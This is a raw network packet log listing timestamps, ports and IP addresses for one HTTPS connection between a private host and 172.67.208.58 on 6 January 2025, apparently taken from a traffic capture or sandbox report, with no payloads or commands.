Jan 6, 2025 15:47:47.207871914 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.207890987 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.207912922 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.207920074 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.207931995 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.208210945 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.208226919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.208254099 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.208271980 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.208281040 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.208319902 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.403667927 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.403686047 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.403708935 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.403718948 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.403814077 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.403827906 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.403845072 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.403857946 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.403868914 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.403891087 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.403898001 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.403966904 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.403976917 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.403990984 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.404021025 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.404040098 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.404040098 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.404094934 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.404108047 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.404108047 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.404120922 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.404133081 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.404143095 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.404161930 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.404191017 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.404203892 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.404239893 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.404244900 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.404257059 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.404273033 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.404292107 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.404336929 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.575223923 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.575253963 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.575360060 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.593251944 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.593262911 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.593276024 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.593307018 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.593327999 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.593347073 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.593354940 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.593420029 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.593518972 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.593549013 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.672811985 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.672821999 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.672940016 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.682771921 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.682775974 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.682796001 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.682812929 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.682864904 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.682869911 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.682951927 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.727627039 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.727655888 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.727775097 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.727788925 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.727828026 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.727896929 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.727917910 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.727946043 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.727950096 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.727978945 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.727988005 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.728558064 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.728578091 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.728611946 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.728617907 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.728636980 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.728657007 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.728831053 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.728844881 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.728892088 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.728899002 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.728935003 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.729063988 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.729075909 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.729110956 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.729118109 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.729135990 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.729146004 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.729351044 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.729368925 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.729413986 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.729419947 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.729453087 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.729674101 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.729687929 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.729736090 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.729742050 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.729775906 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.729876995 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.729917049 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.729926109 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.729958057 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.759913921 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.759923935 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.759994984 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.770440102 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.815823078 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.815845966 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.815936089 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.815947056 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.815998077 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.817985058 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.818020105 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.818058968 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.818065882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.818092108 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.818105936 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.818540096 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.818557024 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.818609953 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.818615913 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.818650007 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.818716049 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.818736076 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.818768024 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.818772078 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.818794966 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.818809032 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.818836927 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.818852901 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.818881989 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.818887949 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.818909883 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.818922997 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.818989992 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.819001913 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.819041014 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.819046974 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.819082975 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.819163084 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.819176912 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.819211960 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.819219112 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.819251060 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.819497108 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.819510937 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.819547892 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.819552898 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.819590092 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.819590092 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.845626116 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.845701933 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.902590990 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.902611017 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.902688980 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.902698040 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.902735949 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.902889013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.902904034 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.902940035 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.902945995 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.902971029 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.902986050 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.903767109 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.903783083 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.903819084 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.903822899 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.903846025 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.903870106 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.904074907 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.904088974 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.904129028 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.904135942 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.904166937 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.904586077 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.904602051 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.904664040 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.904670000 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.904736996 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.905349016 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.905363083 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.905406952 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.905412912 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.905457973 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.905893087 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.905915976 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.905924082 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.905929089 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.905941010 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.905978918 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.906200886 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.906214952 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.906263113 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.906269073 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.906303883 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.907855034 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.988168001 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.988187075 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.988290071 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.988297939 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.988336086 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.988452911 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.988470078 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.988512039 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.988518000 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.988549948 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.989130974 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.989145041 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.989212036 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.989217043 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.989245892 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.989389896 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.989403963 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.989444971 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.989449978 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.989489079 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.989718914 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.989732981 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.989775896 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.989780903 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.989811897 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.990345001 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.990365028 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.990411043 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.990416050 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.990441084 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.990463018 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.990667105 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.990683079 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.990725040 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.990729094 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.990740061 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.990763903 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.990850925 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.990864992 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.990911007 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.990920067 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:47.990935087 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.990957975 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:47.991919041 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.075200081 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.075226068 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.075380087 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.075412035 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.075520039 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.075539112 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.075570107 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.075577021 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.075598001 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.075629950 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.076086044 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.076101065 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.076144934 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.076153040 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.076369047 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.076385975 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.076422930 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.076428890 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.076452017 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.076478958 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.076625109 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.076639891 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.076683044 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.076689005 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.077228069 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.077245951 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.077276945 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.077282906 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.077312946 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.077348948 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.077557087 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.077570915 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.077606916 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.077625036 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.077632904 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.077658892 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.077910900 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.077925920 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.077959061 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.077964067 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.077982903 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.078007936 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.078172922 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.163271904 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.163346052 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.163357019 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.163383961 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.163404942 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.163424969 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.163609982 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.163629055 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.163671017 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.163678885 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.163698912 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.163708925 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.164176941 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.164191961 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.164236069 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.164242029 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.164256096 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.164274931 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.164496899 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.164513111 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.164541960 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.164547920 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.164570093 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.164588928 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.164865971 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.164880991 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.164917946 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.164925098 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.164947033 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.164956093 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.165643930 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.165658951 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.165688992 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.165694952 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.165719032 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.165731907 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.166141987 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.166157007 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.166203022 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.166208982 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.166249990 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.166471958 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.166486979 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.166524887 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.166532040 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.166548967 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.166562080 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.168081045 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.249201059 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.249223948 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.249309063 CET	49746	443	192.168.2.4	172.67.208.58
